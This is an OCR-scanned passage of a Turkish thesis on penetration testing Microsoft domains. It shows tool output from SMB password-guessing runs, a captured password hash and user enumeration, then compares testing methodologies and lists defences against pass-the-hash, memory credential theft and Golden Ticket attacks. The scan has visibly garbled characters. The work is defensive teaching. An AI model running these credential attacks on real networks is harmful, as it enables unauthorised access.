FOUND: [smbnt] : . . . : Ahmet Password: L1123456 [ERROR (Non-existant account. Anonymous success.)]

CHECK: [smbnt] : . . . 3, 0 complete) User: Mehmet (6 of 9, 9 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] : 4 e 2 3, 0 complete) User: Administrator (7 of 9, 10 complete) Password: L1123456 (1 of 1 complete)
CHECK: [smbnt] : . . . 3, 0 complete) User: Kemal, (9 of 9, 10 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] 3 . : 7 3, 0 complete) User: Murat (1 of 9, 9 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] 1 i G i 3, 0 complete) User: Administrator (7 of 9, 9 complete) Password: L1123456 (1 of 1 complete)
CHECK: [smbnt] : . . . 3, 0 complete) : Levent (4 of 9, 14 complete) Password: L1123456 (1 of 1 complete)
FOUND: [smbnt] : . r: Levent rd: [SUCCESS]

CHECK: [smbnt] : . . . 3, 0 complete) Derya (3 of 9, 15 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] : . . " 3, 0 complete) Murat (1 of 9, 10 complete) Password: L1123456 (1 of 1 complete)

CHECK: [smbnt] E : i . 3, 0 complete) User: Elif (8 of 9, 15 complete) Password: L1123456 (1 of 1 complete)

SEKIL 4.45: Sozliik Saldirist Gergeklegtirme

Yontem - 2: Parolalar agik metin olarak elde edilememis ise, MSF smb_login modiilii
Sekil 4.46’da goriildiigii gibi kullanilabilir.

auxiliary( ) > run

Scanned 9 of 86 hosts (10% complete)

10.6€ 06:445 SMB - Success: 'WORKSTATION\Kerem:aad3b435b51404eeaad3b435b51404ee:8cfbcf58886242a67544d80484068c6e’ Administrat
Scanned 18 86 hosts (20% complete)

Scanned 26 86 hosts (30% complete)

Scanned 35 86 hosts (40% complete)

Scanned 43 86 hosts (50% complete)

Scanned 52 86 hosts (60% complete)

Scanned 61 86 hosts (70% complete)

Scanned 69 86 hosts (80% complete)

Scanned 78 86 hosts (90% complete)

1¢ .104:445 SMB - Success: 'WORKSTATION\Kerem:aad3b435b51404eeaad3b435b51404ee:8cfbcf5888624ea67544d80484068c6e" Administrat
Scanned 86 of 86 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > 1

SEKIL 4.46: MSF ile Sozliik Saldiris1 Gergeklegtirme

Yontem - 3: Oturum agilabilecek bilgisayarlar tespit edildikten sonra bu bilgisayarlarda
oturumu agik olan kullanicilarin tespiti icin MSF smb__enumusers domain veya psexec

loggedin _users modiilleri Sekil 4.47’de goriildiigii gibi kullanilabilir.
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msf auxiliary( ) > run

The connection was refused by the remote host (192.168.100.10:139).
The connection was refused by the remote host (192.168.100.10:445).
[*] Scanned 1 of 4 hosts (25% complete)

Login Failed: The SMB server did not reply to our request

Login Failed: The server responded with error: STATUS_LOGON_FAILURE |(Command=115 WordCount=0)
[*] Scanned 2 of 4 hosts (50% complete)

Login Failed: The SMB server did not reply to our request

[*] 192.168.100.60 : ORNEK\Zeynep, PC2\Vedat, ORNEK\PC23$

[*] Scanned 3 of 4 hosts (75% complete)

Login Failed: The SMB server did not reply to our request

[*] 192.168.100.200 : ORNEK\Halit, ORNEK\Ramazan, ORNEK\DCMAKINESI$
[*] Scanned 4 of 4 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > |

SEKIL 4.47: MSF ile Oturumu Agik Kullamcilarin Tespit Edilmesi

Sizma testleri sirasinda hedefli olarak cahisildigr icin sadece kritik kullanici hesaplarinin
(Domain Admins grubu iiyeleri, Veritabam yoneticileri, ag ve sistem yoOneticiler gibi)
hangi Windows bilgisayarlarda oturum ag¢tigi (jetonunun bulundugu) tespit edilmesine
ihtiya¢ duyulabilir. Bu durumda KACAK betigi Sekil 4.48°de goriildiigii gibi kullanila-
bilir.

S IRKE T\EaKu 1 an

SIRKET\EaKullanicisil

[+] Domain
[+] 1€

PC3\Administrator, PC3\Administra

1Kullanici

SEKIL 4.48: Kacak Betigi ile Oturumu Agik Kullanicinin Tespit Edilmesi
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MSDEPTM’nin Diger Metodolojiler

1le Karsilagtirilmasi

Sizma testlerinin bir diizen icerisinde gerceklegtirilmesi icin cesitli standartlar, kilavuzlar
ve metodolojiler hazirlanmistir. Hazirlanan bu calismalar alt baghklarda incelenecek ve
tez kapsaminda onerilen Microsoft etki alani sizma testi metodolojisi (Microsoft Domain

Environment Penetration Testing Methodology - MSDEPTM) ile karsilagtirilacaktir.

5.1 PTES (Penetration Testing Execution Standard)

Bir ¢ok farkli sektordeki kiginin olugturdugu bir grup tarafindan hazirlanan PTES [128]
ile 7 bagliktan olusan sizma testi metodolojisi sunulmugtur. Bu adimlar sizma testlerinin
bagindan sonuna dek yapilmasi gereken tiim caligmalar kapsamaktadir. Bu caligmalar

agagidaki gibi siralanabilir.

e Anlagma Oncesi Etkilesim (Pre-engagement Interactions): Sizma testi adimlarinda
kullanilan teknikler ve araclar sunulur, sizma testi kapsami ve zaman planlamasi

belirlenir. Bu bilgiler yillarin emegi ve tecriibesine dayanilarak ortaya gikmigtir.

e Bilgi Toplama (Intelligence Gathering): Bu adimda olabildigince fazla bilgi topla-
narak sonraki adimlar i¢in bir yol haritas: ¢izilir. PTES’e gore, bilgi toplama calig-
malar1 aktif, pasif veya kismi pasif olmak iizere de {i¢ gekilde gerceklegtirilebilir.
Aktif bilgi toplamada hedef ile dogrudan etkilesimde bulunur ve hedef sistem bu

74
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etkilegimi zararli veya giipheli olarak nitelendirebilir. Pagif bilgi toplamada ise hedef
ile dogrudan etkilesimde bulunulmadan arama motorlart veya argivlenmis veriler
tizerinden bilgiler elde edilir. Kismi bilgi toplamada ise standart bir kullanici gibi
mevcut kayitlar icin DNS sorgulart yapma, yayinlanmig dokiimanlar indirme vb.

yontemler kullanilarak hedef sistemle etkilegim kurulur.

e Tehdit Modelleme (Threat Modeling): Ortamda karsilagilabilecek tehditlerden bir
saldir1 modeli ortaya gikarilarak sizma testinin olabildigince dogru bir gekilde igletil-
mesini saglar. Kesin bir model cizilemiyor olsa da tehditlerin olugturabilecegi
riskler, tehditlerin 6zellikleri ve kabiliyetleri ortaya konulur. Tehdit modelleme

ile organizasyonun kritik varliklarina ait risk haritas: da ¢ikartilmig olur.

e Zafiyet Analizi (Vulnerability Analysis): Saldirgan bakis acisi ile sistemlerdeki
yanlig yapilandirmalar, giivenilir olmayan tasarimlardaki zafiyetler ortaya konulur.

Zafiyet analizi sirasinda otomatik araclarin ¢iktilari, manuel olarak da dogrulanir.

e Somiirme (Exploitation): Hedef sisteme girig veya diger istismar yéntemleri belir-
lenir. Bu adimda sistemlere zarar vermemek en 6nemli hususlarin baginda gelir.
Isletim sistemi zafiyetinin sémiiriilmesi, servislerin devre disi birakilmasi, belirlenen
kigilere oltalama maili gonderilmesi, antiviriis gibi yazilimlarin atlatilmasi, IPS’den

kaginma caligmalar1 vb. en énemli istismar yéntemlerindendir.

e Somiirme Sonrasi (Post Exploitation): Ele gecirilen sistemlerden kritik bilgi elde
etme, diger sistemlere erigim saglama, erigimin siirekliligini saglama, veri kacirma,
ele gecirilen sistem iizerinden diger sistemlere saldir1 gergeklestirme, izleri silme,

vb. gibi caligmalar gerceklegtirilir.

e Raporlama (Reporting): Gergeklegtirilen caligma adimlart yonetimsel rapor ve
teknik rapor olarak dokiimante edilir. Muhtemel bir saldirinin kurum igleyigine
etkileri detaylandirilarak riskler ortaya konulur. Kurumla el sikisilarak rapor son

haline getirilir.

PTES oldukga iyi hazirlanmig ve heniiz son haline getirilememis olan sizma, testi stan-
dartidir. Bu standart ile planlamadan raporlamaya kadar sizma testlerinin tiim agsamalar:
detaylandirilmigtir. Bu standart tiim kapsamlar i¢in bir cati olusturmakta olup, sizma
testlerinin tiim kategorileri (web, kablosuz ag, etki alani, i¢ ag vb.) igin genel cerceveyi

¢izmektedir. Bunun yaninda, tezde sunulan Microsoft etki alan sizma testi metodolojisi
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(MSDEPTM) ise Microsoft etki alani ortami 6zelinde sizma testi adimlarini sunmakta
ve PTES’de incelenen ilk ve son adimi metodoloji igerisine almamaktadir. Bu adim-
larda bir saldir1 yonteminin bagarisiz olma (Meterpreter baglantis: elde edilememesi gibi)
veya saldir1 gergeklegtirilmesinin uygun olmadigi (kritik sunucularda Mimikatz aracinin
galigtirilmamasi gibi) durumlara kargin ek teknikler (yerlesik komut setlerinin kullanil-
mas1 veya LSASS prosesinin dump dosyasinin elde edilmesi gibi) sunmaktadir. Bunun
yaninda PTES sadece sizma testlerine yonelik bir caligma ortaya koyarken, hazirlanan

bu tezde her adima karsi alinmasi gereken 6nlemler de belirtilmistir.

5.2 CEH (Certified Ethical Hacker)

Ec-Council tarafindan hazirlanan CEH [129] ile 5 fazdan olugan sizma testi metodolojisi

sunulmustur. Bu fazlar agagidaki gibi siralanabilir.

e Kesif (Reconnaissance): Bu adimda aktif veya pasif olarak bilgi toplanir.

e Tarama-Belirleme (Scanning-Enumeration): Hedef sistemin igletim sistemi, agik

portlari, bu portlarda ¢aligan servisleri, bu servislerdeki zafiyetler tespit edilir.
e Erigim Elde Etme (Gaining Access): Hedef sistem tizerinde erigim elde edilir.

e Erigimi Stirdiirme (Maintaining Access): Sistem tizerindeki erigimin devamlihig

saglanir.

e Izleri Silme (Clearing Tracks): Sistem iizerindeki birakilan izler silinir.

CEH tarafindan sunulan sizma testi fazlari, tezde sunulan metodoloji gibi saldir1 adim-
larim1 kapsamakta olup, planlama ve raporlama adimlar igin ise en iyi uygulamalar
(best practices) igermektedir. CEH tarafindan sunulan fazlar da PTES gibi genel kate-
goriler i¢in hazirlanmig olup ardigik adimlar icermektedir. Buna ek olarak CEH, sizma
testlerinde kullanilan birbirinden farkl aracglar: listelemektedir. Bu tezde sunulan MS-
DEPTM de CEH gibi sizma testleri i¢in kullanilan farkl araclar listelemektedir. Ancak
MSDEPTM, CEH veya PTES gibi sizma testleri i¢in genel bir ¢erceve ortaya koymayip,
Microsoft etki alani icin detayli bir metodoloji ortaya koyar ve bu metodolojinin her

adimini birbirinden farkli yontemler ile listeler.
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5.3 OSSTMM (The Open Source Security Testing Method-

ology Manual)

ISECOM (The Institute for Security and Open Methodologies) tarafindan hazirlanan
OSSTMM [130] ile 6 boliimden olusan sizma testi metodolojisi sunulmugtur. Bu boliimler

agagidaki gibi siralanabilir.

e Bilgi Giivenligi Testleri (Information Security Testing): Kurumun degerlendirilmesi,

bilgi varliklarinin incelenmesi, personelin denetimi gibi caligmalar gerceklegtirilir.

e Siire¢ Giivenligi Testleri (Process Security Testing): Kurumun isleyisi ve siirecleri

degerlendirilir.

e Bilgi Teknolojileri Giivenligi Testleri (Internet Technology Security Testing): En
genig boliim olup, ag ve internet ortami iizerinden gergeklestirilebilecek testler ince-
lenir. Ag taramasi, servislerin kegfi, giivenlik bilegenlerinin degerlendirilmesi, erigim

kontrolleri, istismar iglemleri gerceklegtirilen temel testlerdendir.

e Iletisim Giivenligi Testleri (Communications Security Testing): Telefon, elektronik

posta, uzaktan erigim gibi iletigim altyapisina ait bilegenler test edilir.

e Kablosuz Ag Giivenligi Testleri(Wireless Security Testing): Kablosuz ag altyapisina

ait bilegenler test edilir.

e Tiziksel Giivenlik Testleri (Physical Security Testing): Giris/gikiglar, alarm ve

izleme sistemlerine ait bilegenler test edilir.

OSSTMM, sizma testlerine oldukca iist perdeden bakar. Uygulama agirlikli olan sizma
testleri konusunu teorik cerceveden inceler ve denetci gozii ile kontrol tabanli bir metodoloji
ortaya koyar. Diger taraftan MSDEPTM ise uygulama odakhidir ve Microsoft etki alam

sizma testlerine teknik bir bakig sunar.
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5.4 OWASP Test Rehberi (Open Web Application Security

Project Testing Guide)

OWASP tarafindan hazirlanan OWASP Test Rehberi [131] ile 10 béliimden olugan sizma

testi metodolojisi sunulmugtur. Bu béliimler agagidaki gibi siralanabilir.

e Yapilandirma ve Dagitim Yonetimi Testi (Configuration and Deployment Man-
agement Testing): Ag, altyapi, platform, HTTP metodlar1 vb. ile ilgili testler
gerceklegtirilir.

e Kimlik Yonetimi Testi (Identity Management Testing): Role, kayit olma siireci,

hesap kesfi, hesap izinleri vb. ile ilgili testler gergeklestirilir.

e Kimlik Dogrulama Testi (Authentication Testing): Varsayilan kullanicilar, hesap
kilitleme mekanizmasi, kimlik dogrulamay: atlatma, parola politikasi, parola sifir-

lama siireci vbh. ile ilgili testler gerceklestirilir.

e Yetkilendirme Testi (Authorization Testing): Dosya/dizin yetkilendirmesi, yetki

yiikseltme, nesne referanslar1 vb. ile ilgili testler gerceklestirilir.

e Oturum Yonetimi Testi (Session Management Testing): Cerezler, oturum sabitleme,

oturum kapatma siireci, oturum zaman aganu vb. ile ilgili testler gerceklegtirilir.

e Veri Dogrulama Testi (Data Validation Testing): Girdilerin ve ¢iktilarin dogrulan-

masgit ile ilgili testler gergeklegtirilir.

e Hata Yakalama Testi (Testing for Error Handling): Hata kodlar: ile ilgili testler
gerceklegtirilir.

o Zayif Kriptografi Testi (Testing for weak Cryptography): Kritiptografik algorit-
malarin giivenligi, giden ve gelen gizli verilerin giivenligi vb. ile ilgili testler gercek-

legtirilir.
o Is Mantig: Testi (Business Logic Testing): Is akigi ile ilgili testler gerceklestirilir.

e Istemci Tarafi Test (Client Side Testing): Istemci tarafli kontroller ile ilgili testler
gerceklegtirilir.
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OWASP Test Rehberi web uygulama testlerini oldukca detayl bir sgekilde aciklayan
tecriibelere dayanilarak ortaya c¢ikmig ve gilinlimiizde de giincelligini koruyan ve ken-
disini geligtiren bir rehberdir. Bu rehberde her saldirinin amaci, nasil ve hangi araclar ile
gerceklegtirilecegi drnekler ve referanslar ile birlikte listelenmigtir. OWASP tarafindan
sunulan rehberde saldir1 adimlarinin yaninda muhtemel savunma adimlar: da siralan-
maktadir. Bu tezde ortaya konulan MSDEPTM - kapsam ve ana hedef olarak farkl olsa
da - OWASP Test Rehberi gibi, sizma testlerinde kargilagilabilecek farkli durumlar igin
farkli yontemler sunmaktadir. Bunun yaninda, web uygulama testlerinin dogasinda pek

olmayan saldir1 dongiisiini MSDEPTM de incelenmektedir.

5.5 ISSAF (Information Systems Security Assessment Fra-

mework)

Genele agik bir topluluk olan OISSG (Open Information Systems Security Group) tarafin-
dan hazirlanan ISSAF [132] ile 3 fazdan olusan bir yaklagim ortaya konmustur. Ilk fazda
planlama ve hazrhk, ikinci fazda 9 adundan olugan sizma testi metodolojisi, iigiincii
fazda ise raporlama ve kamitlarm temizlenmesi incelenmistir. Tkinci faz1 olugturan sizma

testi metodolojisinin adimlar agagidaki gibi siralanabilir.

e Bilgi Toplama (Information Gathering): Hedef hakkinda bilgi toplanir.
e Ag Haritalama (Network Mapping): Hedef ag yapisi ¢ikarilir.

e Zafiyet Belirleme (Vulnerability Identification): Hedefin agik servislerinin sahip

oldugu zafiyetler belirlenir.

e Sizma Testi (Penetration): Giivenlik zafiyetleri istismar edilerek yetkisiz erigim

denemesi gerceklestirilir.

e Erigim Elde Etme ve Hak Yiikseltme (Gaining Access and Privilege Escalation):

Hedefe erigim saglanir ve hak yiikseltme saldirilar1 gerceklegtirilir.

e Detayh Inceleme (Enumerating Further): Kimlik dogrulama saldirisi, ag dinleme

gibi yontemler ile detayh analiz gerceklestirilir.

e Uzak Kullamcilar1 ve Hedefleri Ele Gegirme (Compromise Remote Users/Sites):

Uzaktan caligan personel veya diger giketler ele gegirilir.
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e Erigimi Siirdiirme (Maintaining Access): Sistem iizerinde elde edilen erigimin de-

vamliligl saglanir.

e izleri Silme (Cover Tracks): Sistem iizerindeki birakilan izler silinir.

ISSAF tarafindan sunulan kontroller sizma testi metodolojisi olarak tamimlanabilse de
aslinda birer giivenlik degerlendirme kontrol listesidir. Bu kontrol listesindeki her bir kon-
trol maddesi icin tanim, gereksinim, nasil ve hangi araglar ile gerceklestirilebileceginin
adimi, 6rnekleri, bu kontrol islemine karsi onlemler ve referanslar bir rapor hazirlarmig
gibi ele alinir. Sizma testinin bir ¢ok kapsaminin ele alinmasi ve oldukca detayli bir
kaynak sunmasi1 PTES ile de benzerlik gosterir. Ancak ISSAF’in adimlardan ve y&ntem-
lerden olugan bir metodoloji yerine teknik bir kontrol madde listesi gibi ele alinmas1 ve
bir ¢ok sizma testi kapsamina 6zel olarak hazirlanmig olmast kendisini bu tezde sunulan

MSDEPTM’den ayiran en temel unsurlardandir.



Bolum 6

Etki Alani Saldirilarina Kars: Temel

Korunma Yontemleri

Giiniimiizde siber saldirilarin artmig olmasi kurumlarin sistemlerine yonelik koruma meka-
nizmalarini giiglendirme ihtiyaci dogurmugtur. Microsoft etki alaninda icin kurumlarda

alinmasi tavsiye edilen temel dnlemler bu baghk altinda incelenecektir.

6.1 BIOS Yapilandirmasi

Etki alan1 sizma testlerinde fiziksel erigim bulunan igletim sistemlerinden SAM/SYSTEM
dosyalar1 gibi kritik dosyalar alinabilmekte veya Utilman.exe gibi baz kritik dosyalarin
biitiinliigii degigtirilebilmektedir. Bu sebeple fiziksel erigim saglanabilen bilgisayarin disk

sistemine yetkisiz erigim engellenmelidir.

Disk sistemine yetkisiz erigimi engellemek icin gerceklestirilecek ilk adimlardan birisi
BIOS’un giivenilir olarak yapilandirilmasidir [133]. Giivenilir BIOS yapilandirmasinda

agagidaki ayarlarin yapilmas: tavsiye edilmektedir.

e BIOS ayarlarini okumak veya degisiklik yapmak i¢in parola korumasi saglanmalidir.

e Bilgisayar pili bittiginde BIOS parolasinin sifirlanabilmektedir. Bu sebeple, pili

uzun siire bitmeyen giincel donanimlar tercih edilmelidir.

e Bilgisayar 6ncelikle harddiskten baglayacag: sekilde ayarlanmig olmalidir.

81
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BIOS SETUF UTILITY

i.‘.fhangl: Supervisor Password

Enter New Password [0

SEKIL 6.1: BIOS Parolasinin Olugturulmasi

6.2 Disk Sifreleme

BIOS iizerindeki yapilandirmalar giiclii olsa bile, igletim sisteminin yiiklii oldugu hard-
disk sokiilerek harici cihazlara takilabilir ve disk okunabilir. Bu duruma engel olabilmek
igin tam disk sifreleme teknolojileri kullanilmalidir. Microsoft tarafindan sunulan Bit-
locker [134] sayesinde diskin tamami AES 128 veya AES 256 algoritmalar ile sifrelenir
ve anahtarin (agilig ve kurtarma anahtar1) merkezi bir yerden yonetimine imkan verilir.
Trusted Platform Module (TPM) adi verilen modiil sayesinde bir PIN ve/veya anahtar
dosyasi kullanilarak sgifreleme yaninda biitiinliik kontrolii de saglanarak giivenlik daha

da arttirilabilir.

6.3 Ag Yapilandirmasi

Kurumlarda saldirilarin digaridan gelecegi, kurum igerisinden bir saldir1 gergeklegmeye-
cegi algist yaygin olabilmektedir. Bu sebeple ag yapilandirmasina gereken 6nem ver-
ilmemekte, dnleyici ve tespit edici mekanizmalar yeteri kadar kullanilmamaktadir. Giive-

nilir ag yapilandirmasindaki [135] en 6nemli hususlar agagidaki gibi siralanabilir.

e Sunucu ve istemci ag1 ayr1 olmalidir.
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e Sunucular kendi arasinda siirimlerine (Prod, Test, Dev vb.) ve iglevlerine (veri

tabani, web vb.) gore ayr1 aglarda bulunmalhdir.

e Uzak ofisler (branch office) ile olan baglantilar giivenilir bir hat tizerinden saglan-

mali ve ag iizerinden ayrilmalidir.

e Sistem yonetimi gerceklestiren personelin bulundugu ag, diger personelin bulun-

dugu agdan ayrilmalidir.

e Ayr aglardaki sistemler arasindaki erigim kurallar kisitlanmali, sadece giivenilir

olan protokoller ile erigime izin verilmelidir.

e Ag iizerinde herkesin erigebilecegi ortamlarda kritik bilgi bulunmamalidir.
6.4 Servis Yapilandirmasi
Giivenlik bakig agisi ile bakildiginda digariya dogru agilan her kap: ve gerek duyulmayan
her gey saldir1 yiizeyini arttirdigi soylenebilir. Bu sebeple gereksiz servislerin hizmet
veriyor olmasi veya mevcut servislerin giivenilir olarak yapilandirilmamig olmasi giivenlik

riskini arttirir. Servis giivenligi icin temel hususlar agagidaki gibi siralanabilir.

o Gereksiz servisler devre digi birakilmalidir.

Servisi caligtiran kullanicilar en az yetki prensibine gére belirlenmelidir.

Servis hesaplarinin parolas: i¢in kurumda bir politika belirlenmelidir.

Servis kullanici hesaplar - parola saldir1 gerceklegse bile - kilitlenmemelidir.

Antiviriis, DLP gibi ajanlarin servisleri yerel yonetici hesaplar1 tarafindan devre

digi birakilamamamali, merkezi sistemler tarafindan yonetilmelidir.

6.5 Parola Giivenligi

Giiniimiizde en sik kargilagilan saldirilarin baginda kimlik dogrulama saldirilar gelmekte-
dir. Bu saldirilar ile kolay veya yeteri kadar giiclii olmayan parolalar tahmin edilmeye ve

sistemlere erigim saglanmaya caligilir. Parola giivenligini saglamak i¢in kurum icerisinde
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giivenilir bir parola politikas: olugturulmalidir [136]. Giiglii bir parola politikasina ait

kurallar agagidaki gibi siralanabilir.

6.6

Parola uzunlugu belirli bir degerden (12 gibi) uzun olacak sekilde belirlenmelidir.

Parolalar kii¢lik harf, biiyiik harf, rakam ve 6zel karakter icermelidir. Sézliiklerde

bulunan ifadelerden olugmamalidir.
Parolalar belli araliklar ile (42 giinde bir gibi) degismeye zorlanmalidir.
Parola ayni giin icerisinde son kullanic1 tarafindan iki kere degisgtirilememelidir.

Parolanin son kullanim tarihinden belirli bir siire (7 giin gibi) once kullaniciya

bilgilendirmede bulunulmalidir.
Parolalar sifreli degil, 6zet olarak saklanmalidir.

Yeni parola daha 6nceden kullanilan belirli adetteki (24 gibi) eski parola ile aym

olmamalidir.

Belirli bir siire (15 dakika gibi) igerisinde bellirlenen bir adetce (5 kere gibi) yanhs

parola denemesinde, hesap belirli bir siire (30 dakika gibi) boyunca kilitlenmelidir.

Oturum acildiginda en son oturuma ait bilgiler, hatali oturum ac¢ma varsa bu olay-

lara ait kayitlara ait bilgiler listelenmelidir.

Parola giris ekraninda kaba kuvvet saldirilarimi énlemek igin ek mekanizmalar

(CAPTCHA gibi) kullamlmaldur.

Pass The Hash Saldirilarina Karg: Onlemler

Etki alaninda gergeklestirilen en 6nemli saldir1 tekniklerinden birisi olan Pass The Hash

saldirilar: ile parola zeti kullamilarak, ayni kimlik bilgilerini kullanan diger sistemlere

erigsim saglanabilir. Bu saldirilardan korunmak i¢in agagidaki 6nlemler alinabilir [137].

Her bilgisayarin yerel yonetici hesaplarina ait parolalar farkli olarak belirlenmelidir.

Bu amacgla Microsoft tarafindan sunulan LAPS ¢6ziimii kullanilabilir.

Yonetimsel paylagimlar (C, ADMIN gibi) kapatilmalidir.
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e “HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters” altin-

daki “AutoShareWks” ve “AutoShareServer" degerleri 0 olarak ayarlanmalidir.

o “HKLM\SOFTWARE\Microsoft\ Windows\Current Version\ Policies\System” altin-

daki “EnableLUA” ve “FilterAdministratorToken” degerleri 1 olarak ayarlanmalidir.

e “File and Printer Sharing for Microsoft Networks” segenegi pasif duruma getirilerek

SMRB servisi devre digi birakilmalidir.

e “Computer Configuration > Windows Settings > Security Settings > Local Policies
> Security Options” altindaki “User Account Control: Admin Approval Mode for
the Built-in Administrator account” ve “User Account Control: Run all adminis-

trators in Admin Approval Mode” ilkeleri etkinlegtirilmelidir.

6.7 RAM Uzerinden Parolalarin Elde Edilmesine Karsin

Onlemler

Windows bir bilgisayara oturum acildiginda kullanici adi ve parola bilgisi RAM {iz-
erinde gifreli olarak tutulmakta ve gifreleme anahtar1 da RAM iizerinde saklanmaktadir.
Mimikatz ve WCE gibi araclar da desifreleme iglemi yaparak parolay: acik olarak elde
edebilmektedir. Bu tarzda bir saldiriy1 zorlagtirmak ve 6nlemek icin alinmasi tavsiye

edilen bir takim aksiyonlar bulunmaktadir.

Bu tavsiyeler agagidaki baghklar altinda toplanabilir.

6.7.1 Oturum Sonlandirma i§lemleri

Bir makinede oturum ac¢ma islemi temel olarak konsol tizerinden etkilegimli oturumla
veya uzak masaiistii oturumuyla gerceklestirilebilir. Bu oturumlardan c¢ikig yapilirken
kullanic1 degigtirme (switch user), uzak baglantiyr kesme (disconnect), oturum baglan-
tisi diigiirme (disconect session immediately) yontemleri kullanildiginda parolalar RAM

tizerinden elde edilebilmektedir.

Bazi durumlarda oturumu sonlandirmak ig¢in oturumu kapat (log off) secenegi yeterli

oluyorken, her zaman i¢in bu durum dogru olmayabilmektedir. Bu sebeple bilgisayar:
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yeniden baglatmak (restart) veya kapattiktan sonra (shutdown) yeniden agmak parolanin

bellek iizerinden elde edilmesini 6nlemek icin en garanti ¢dziim olmaktadir.

6.7.2 Gitvenli Parola Kullanimi

Karmagik ve uzun parolalarin kullamilmasi bircok saldir1 icin en kritik adimlardan biri-
sidir. Ancak parolalarin bellek {izerinden elde edilmesi i¢in yeterli olmamaktadir. Parola
olugturulurken karmagikhgr arttirmak icin 6zel karakter kiimesi (¢, &, &, €, £, 7 vb.)
arttirilabilir. Ancak saldirgan, kismen elde ettigi parolanin kalan karakterlerini tahmin
yontemi ile veya aracin ¢aligtirildigi komut satir1 yaz format1 degistirilerek parola elde

edilebilir.

6.7.3 Kullanilmayan Kiitiiphanelerin (DLL) Kaldirilmas:

Windows igletim sistemindeki kimlik dogrulama paketleri LSA (Local Security Authority)
tarafindan bellege yiiklenir. LSA, hangi DLL dosyalarini yiikleyecegini kayit defterindeki
“HKLM\SYSTEM\CurrentControlSet\ Control\ Lsa\Security Packages” kaydindan alir.
Bu kayitta bulunmayan paketler bellege yiiklenmeyecektir. Baz kimlik dogrulama paket-
lerinin silinmesi (kerberos, wdigest, tspkg) istenmeyen durumlarin (RDP yapamama gibi)

ortaya ¢ikmasina sebep olabilir.

6.7.4 Istemci Tarafli Koruma Sistemleri

Meterpreter baglantisi elde etme veya WCE /Mimikatz gibi araglarin aktivitelerini tespit
etmek i¢in antiviriis gibi koruma mekanizmalar1 kullanilabilir. Ancak bu iriinler bir

sekilde atlatilabilecegi icin yeteri kadar giivenlik saglayamamaktadir.

6.7.5 TUzaktan Erigsim Yontemleri

Ag lizerindeki bir bilgisayarlara yonetim amach erigim icin kullanici adi ve parola ile
uzak masaiistli baglantis1 kurulabilir veya Sysinternals psexec gibi araglar ile komut satiri
erigimi saglanabilir. Bunun yaninda kurumlarda DameWare veya Skype gibi iigiincii taraf
iirtinler ile erigim saglanabilir. Bu yéntemlerin bir ¢ogunda RAM {izerinde iz birakabilir

ve sonucta baglant: kuran tarafin parolasi veya jetonu alinabilir.
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Ayrica kayit defteri iizerinden erigim, WMI veya Powershell komutlarinin ¢aligtirilmasi

gibi yontemlerin etkinlegtirilmesi bir takim bagka agikliklara sebep olabilmektedir.

6.7.6 Giincellegtirmelerin Gergeklestirilmesi

Microsoft tarafindan yayinlanan KB2871997 paketi ile RAM iizerinden parolalarin elde
edilmesi zorlagtirilmigtir. Ancak heniiz tamamen engellenememigtir. Bunun yaninda
Windows 10 igletim sistemi iizerindeki biitiinlegik ayarlar (Credential Guard gibi) sayesinde,
gerekli sikilagtirmalar da yapildiginda bu bilgisayarlar {izerinden parolalar acik olarak

elde edilemeyebilmektedir.

6.8 Altin Bilet Saldirisina Kargin Onlemler

Altin Bilet (Golden Ticket) saldirisi ile etki alanindaki KRBTGT servis hesabinin parola
Ozeti ve etki alanindaki bir takim bazi bilgiler kullanilarak etki alanindaki en yetkili hesap
(Domain Admins gibi) haklariyla siirekli erigim saglanabilir. Altin Bilet kullanarak etki
alaninda uzun siireli yetki sahibi olunmasi geklinde oOzetlenebilecek bu saldiriya kars

onleyici ve tespit edici bir takim adimlar agagidaki gibi siralanabilir.

e Altin bilet saldirisi, etki alan1 denetleyicisine (DC) erigsim saglandiktan sonra gercek-
legtirilebilen bir saldirnidir. Saldirganlarin, etki alani denetleyicisinde KRBTGT
(ve tiim kullanicilarin) parolalarinin alinabilecegi yetkiye sahip olunmasi kritik bir

yonetim zafiyetidir. Bu amacla gerekli sikilagtirma adimlar1 gercgeklegtirilmelidir.

e Altin Bilet saldirmmin gergeklestirildigi biliniyor veya gerceklestirilmis oldugundan
sipheleniliyorsa, KRBTGT hasabimin parolas: iki kere sifirlanmalidir (resetlen-
melidir). Ancak bu durum, manuel olarak baglatilmasi gereken bazi servislerin
baglayamamasina, akilli kart ile kimlik dogrulayan kullanicilarin yeni bir bilet
talep ederek etki alami denetleyicisi tizerinde yiik olugturmasina sebep olabilir.
Hatta, bazi durumlarda kullanicilarin kimlik dogrulayamamasina, bilgisayarlarin

etki alanindan diismesine de sebep olabilir.

e Tim etki alanminin bagtan kurulmasi, ¢ok etkin olmasa da, bu saldiriya karsi bir

onlem oldugu stylenebilir.
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e Altin Bilet saldiris1 gergeklegtiginde, 4769 olay kaydi diigmektedir. Bu kaydin takip

edilmesi (gok etkili bir tespit yontemi olmasa da) saldirimin tespiti i¢in kullamlabilir.

Altin bilet kullanarak etki alaninda uzun siireli yetki sahibi olunmasi geklinde ézetlenebile-
cek bu saldir;, 2014 Ocak ayinda yayimlanmig olmasina ragmen daha 6nce kullanil-
madigr anlamina gelmemektedir. Bu sebeple, 6zellikle 2014 yilindan itibaren, etki alanina
yapilan saldirilarin incelenmesi ve etki alani denetleyicisine yetkisiz / uygunsuz erigim-
lerinin elde edilip edilmediginin tespit edilmesi, bunun sonucunda da gerekli degigiklik-
lerin yapilmasi kurum etki alanim korumak icin énem arz etmektedir. Ozellikle kritik
kurumlar icin, bu kontrollerin gecmige yonelik gerceklestirilmesi ve gerekli miidahalelerde

bulunulmasi1 gerekmektedir.

6.9 Temel Kontroller ve Sikilastirmalar

Ftki alanindaki istemciler iizerinde bir takim sikilagtirmalarin ve kontrollerin yapilmasi
kargilagilabilecek tehditlerin doguracag riskleri diigiirecektir. Temel kontroller agsagidaki

gibi siralanabilir.
e Lisansh bir igletim sistemi kullamilmalidir. Benzer olarak uygulamalar da lisansh
olmalidir.
e Parola politikas: giivenilir olarak yapilandirilmaldir.
e Hesap kilitlenme politikas: giivenilir olarak yapilandirilmalidir.
